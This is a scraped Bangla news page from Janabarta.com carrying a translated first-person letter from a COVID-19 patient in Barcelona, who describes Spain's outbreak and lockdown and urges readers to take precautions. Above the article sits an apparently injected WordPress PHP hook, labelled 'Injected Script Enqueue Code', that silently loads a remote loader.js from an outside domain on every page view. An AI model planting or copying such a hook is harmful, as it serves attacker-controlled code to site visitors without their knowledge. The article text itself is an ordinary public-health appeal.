// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site এখনই সচেতন না হলে ভয়ঙ্কর পরিস্থিতিঃ স্পেনের কোরোনা রোগী - Janabarta.com

এখনই সচেতন না হলে ভয়ঙ্কর পরিস্থিতিঃ স্পেনের কোরোনা রোগী

corona who

জনবার্তা ডেস্কঃ এই লেখাটি স্পেনের করোনা আক্রান্ত একজনের। লেখাটি জনবার্তায় শেয়ার করলাম, কারণ এই ধরণের লেখা আগামী দুই সপ্তাহের ভেতর আমাদের লিখতে হতে পারে।

হ্যালো, আমি এখন আমার করোনাভাইরাস কোয়ারান্টাইনের চতুর্থ দিনে স্পেনের বার্সেলোনা থেকে লিখছি। এই বার্তা সবার জন্য- পরিবার, বন্ধুবান্ধব, প্রাক্তন সহকর্মী (অথবা দুনিয়ার যেই হোন না কেন)। দয়া করে এই ভাইরাসকে গুরুত্বসহকারে নিন। আমি এখন আপনাদের জানাবো এখানে কী ঘটছে এবং দেরী করার ফলাফল কী হতে পারে। আমি আশা করবো যে এটা আপনার সব ধরণের জোকস আর টয়লেট পেপার নিয়ে করা মিম বাদ দিয়ে, আপনাদের এখন কাজ শুরু করতে সাহায্য করবে।

স্পেনে এক সপ্তাহ আগে, আমরা করোনাভাইরাস নিয়ে শুধুমাত্র কথাবার্তা বলেছি। আমাদের কিছু কেইস ছিলো, কিন্তু সেটা তেমন খারাপ মনে হচ্ছিলো না। আমরা ইতালির দুরবস্থা দেখছিলাম আর বলছিলাম, ‘এখানে এমন কিছু হবেনা’। কোন পদক্ষেপ নেয়া হয়নি। মানুষজন সবাই সপ্তাহের ছুটির দিনে বাইরে যাচ্ছিলো, জিমে যাচ্ছিলো, কাজে যাচ্ছিলো, স্কুলে যাচ্ছিলো। ভাইরাস ছড়িয়ে পড়া ঠেকানোকে কোন গুরুত্ব দেয়া হয়নি।

মাত্র ১ সপ্তাহ পরেঃ স্পেন এখন ইমার্জেন্সি অবস্থায় আছে। ভাইরাসটি এখানে এসেছে এবং সারা দেশকে ছিঁড়েখুঁড়ে খাচ্ছে। আমার করোনাভাইরাস আছে। আমার বন্ধুদের আছে। বাচ্চাদের বাবা মায়েদের আছে। শিক্ষক, ছাত্রছাত্রী, ব্যবসায়ী, গবেষক, রাজনীতিবিদ, বাসচালক সবাই করোনাভাইরাসে আক্রান্ত। মাত্র কয়দিনে, আক্রান্তের সংখ্যা কয়েকশ থেকে এক লাফে হাজার ছাড়িয়ে গেছে। হাসপাতাল এবং ক্লিনিক সবকিছু ভর্তি, তিলধারণের জায়গা নেই, কর্মী এবং সরঞ্জাম দ্রুতে শেষ হয়ে যাচ্ছে। শত শত ডাক্তার, নার্সকে করোনাভাইরাস আক্রমণ করেছে এবং তারা কোয়ারান্টাইনে আছেন। যারা ভালো আছেন, তারা সপ্তাহে ৭ দিন ২৪ ঘণ্টা একটানা কাজ করে যাচ্ছেন। শুধু বয়স্ক বা অসুস্থরা নন, সব বয়সের মানুষের চিকিৎসার প্রয়োজন হচ্ছে। একেকটা দিন যাচ্ছে আর মৃতের সংখ্যা বেড়ে চলছে আর পরিস্থিতি আরও খারাপের দিকে যাচ্ছে।

মাত্র ১ সপ্তাহে করোনাভাইরাস স্পেনকে ধরাশায়ী করে ফেলেছে এবং চরম খারাপ পরিস্থিতি এখনো আসা বাকী। এখন পর্যন্ত কোভিড-১৯ এর সংক্রমণের হার স্পেনে সবচাইতে বেশী এবং স্পেনের প্রধানমন্ত্রী বলেছেন সামনের সপ্তাহের শুরুতেই এই সংখ্যা ১০ হাজার ছাড়িয়ে যাবে যেটা এখনের দ্বিগুণ। শুধুমাত্র কালকেই সংক্রমণের সংখ্যা দেড় হাজারের উপর বেড়েছে। এখনি যদি স্বাস্থ্যসেবার সিস্টেম ভেঙ্গে পড়ে তাহলে আগামীতে কী হবে? আমরা ইতালিতে আমাদের বন্ধুদের জিজ্ঞাসা করতে পারি, যেহেতু তারা আমাদের চেয়ে এক সপ্তাহ এগিয়ে। হাসপাতালে অল্প কয়েকটি সিটের বিপরীতে হাজারের উপর মানুষ চিকিৎসা নিতে আসছে। ডাক্তার এবং নার্সদের সিদ্ধান্ত নিতে হচ্ছে তারা কাদের বাঁচাবেন আর কাদের মারা যাওয়ার জন্য ফেলে রাখবেন। কারণ রোগীর সংখ্যা এত বেশী হারে বাড়ছে যে পর্যাপ্ত ওষুধ, কর্মী, এবং জায়গা নেই। স্প্যানিশ সরকার দেখতে পারছে যে আমরা ইতালিকে অনুসরণ করছি এবং চাপ শুরু হয়েছে দেরিতে পদক্ষেপ নেয়ার মাশুল দেয়ার।

সব স্কুল এবং বিশ্ববিদ্যালয় বন্ধ করে দেয়া হয়েছে। গণজমায়েত এবং খেলাধুলা সব বাতিল করা হয়েছে। রাস্তা বন্ধ করা হয়েছে, দেশের সব অঞ্চল লকডাউনে আছে। সব শহর এবং গ্রাম কোয়ারান্টাইনে আছে। মুদি আর ওষুধের দোকান ছাড়া সব দোকান, রেস্টুরেন্ট, বার সবকিছু বন্ধ করে দেয়া হয়েছে। মানুষ যাতে রাস্তায় বের হতে না পারে সেজন্য রাস্তায় পুলিশ ঘুরছে। সারা দুনিয়া এখন ঝুঁকিটা দেখতে পেয়ে স্পেন থেকে যাওয়া সব বিমান চলাচল বন্ধ করে দিয়েছে।

চিন্তা করুন, এই পদক্ষেপ গুলি মাত্র এক সপ্তাহ আগে নিলে এবং মানুষের মনোভাব পাল্টানো গেলে এখন পরিস্থিতি একদমই অন্য রকম হতো।

আশা করছি এখান থেকে আপনি কিছু শিখতে পেরেছেন। বাসায় থাকুন এবং সাবধান হোন। এখনো শুরু না করলে আজ থেকে শুরু করুন। আপনি পরিবর্তন আনবেন। সবাই সাবধানে থাকুন।